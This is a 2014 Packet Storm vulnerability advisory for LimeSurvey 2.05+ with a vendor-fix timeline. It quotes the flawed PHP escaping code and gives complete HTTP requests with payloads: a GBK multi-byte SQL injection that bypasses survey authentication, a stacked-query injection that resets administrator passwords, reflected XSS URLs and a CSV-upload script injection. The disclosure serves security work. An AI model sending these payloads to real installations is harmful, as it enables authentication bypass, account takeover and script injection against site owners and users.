Lime Survey 2.05+ Build 140618 XSS / SQL Injection

2014-07-07T00:00:00
ID PACKETSTORM:127369
Type packetstorm
Reporter Giuseppe D'Amore
Modified 2014-07-07T00:00:00

Description

                                        
                                            `Lime Survey Multiple Vulnerabilities  
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[ADVISORY INFORMATION]  
Title: Lime Survey Multiple Vulnerabilities  
Discovery date: 02/07/2014  
Release date: 03/07/2014  
Vendor Homepage: www.limesurvey.org  
Version: Lime Survey 2.05+ Build 140618  
Tested with: MS SQL Server 2008  
Credits: Giuseppe D'Amore (http://it.linkedin.com/pub/giuseppe-d-amore/69/37/66b)  
  
[VULNERABILITY INFORMATION]  
Class: SQL Injection + XSS  
Category: Web  
  
[AFFECTED PRODUCTS]  
This security vulnerability affects:  
  
* Lime Survey 2.05+ Build 140618  
  
[VULNERABILITY DETAILS]  
Multi-Byte SQL Injection  
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As shown in frontend_helper.php:  
  
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function loadanswers()  
{  
global $surveyid;  
global $thissurvey, $thisstep;  
global $clienttoken;  
$clang = Yii::app()->lang;  
  
$scid=returnGlobal('scid',true);  
if (Yii::app()->request->getParam('loadall') == "reload")  
{  
$query = "SELECT * FROM {{saved_control}} INNER JOIN {$thissurvey['tablename']}  
ON {{saved_control}}.srid = {$thissurvey['tablename']}.id  
WHERE {{saved_control}}.sid=$surveyid\n";  
if (isset($scid)) //Would only come from email  
  
{  
$query .= "AND {{saved_control}}.scid={$scid}\n";  
}  
$query .="AND {{saved_control}}.identifier = '".autoEscape($_SESSION['survey_'.$surveyid]['holdname'])."' ";  
******************************************************************  
  
the function autoEscape is applied on the holdname parameter, this function is defined in the file common_helper.php  
  
******************************************************************  
function autoEscape($str) {  
if (!get_magic_quotes_gpc()) {  
return addslashes ($str);  
}  
return $str;  
}  
******************************************************************  
  
addslashes can be bypassed using the GBK charset. So sending this request:  
  
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POST /limesurvey/index.php?r=survey/index HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/limesurvey/index.php?r=survey/index  
Cookie: PHPSESSID=as31m846sa46p2uqso1eopc587; YII_CSRF_TOKEN=a3d3b2de671e18e0eb5b9fbe64f049a66bfe23b2  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 125  
  
YII_CSRF_TOKEN=a3d3b2de671e18e0eb5b9fbe64f049a66bfe23b2&loadname=chr(0x87) . "' OR 1=1 -- ";&loadpass=test&loadsecurity=89&sid=713149&loadall=reload  
*******************************************************************  
  
it is possible to bypass imcomplete survey authentication.  
  
Stacked Query SQL Injection  
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Sending this request:  
  
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POST /limesurvey/index.php?r=admin/participants/sa/getParticipants_json HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://localhost/limesurvey/index.php?r=admin/participants/sa/displayParticipants  
Content-Length: 141  
Cookie: PHPSESSID=as31m846sa46p2uqso1eopc587; YII_CSRF_TOKEN=a3d3b2de671e18e0eb5b9fbe64f049a66bfe23b2  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
  
YII_CSRF_TOKEN=a3d3b2de671e18e0eb5b9fbe64f049a66bfe23b2&searchcondition=&_search=false&nd=1404300424270&rows=25&page=1&sidx=lastname]; update lime_users set password='880e042d271f08cd3c456f28704702a6b0ad1c7b442f257bf40578112c8e6ffb';+--+P&sord=asc  
********************************************************************  
  
it is possible to change the users's password.  
  
Reflected XSS  
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GET /limesurvey/index.php?r=admin%2fparticipants%2fsa%2fgetAttribute_json%2fpid%2f9b0039e2-b346-473d-901f-7010d2bc88c16c2d4<img%20src%3da%20onerror%3dalert(1)>9b6d6fe2f71&YII_CSRF_TOKEN=76fa68bdfde6a997ee64f01726234fd7897e2289&_search=false&nd=140420566784  
GET /limesurvey/index.php?r=admin/globalsettings&sa=a"><script>alert(1)</script>a  
  
XSS via CSV  
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it is possible to create a .csv file with inside <script>alert(2)</script>,0 and and upload it with the functionality "Import CSV".  
  
  
[DISCLOSURE TIME-LINE]  
* 02/07/2014 - Initial vendor contact.  
  
* 02/07/2014 - Lime Survey Team confirmed the issue is a new security vulnerability.  
  
* 02/07/2014 - Vendor has fixed this vulnerability on Git.  
  
* 03/07/2014 - Public disclosure.  
  
[DISCLAIMER]  
The author is not responsible for the misuse of the information provided in  
this security advisory. The advisory is a service to the professional security  
community. There are NO WARRANTIES with regard to this information. Any  
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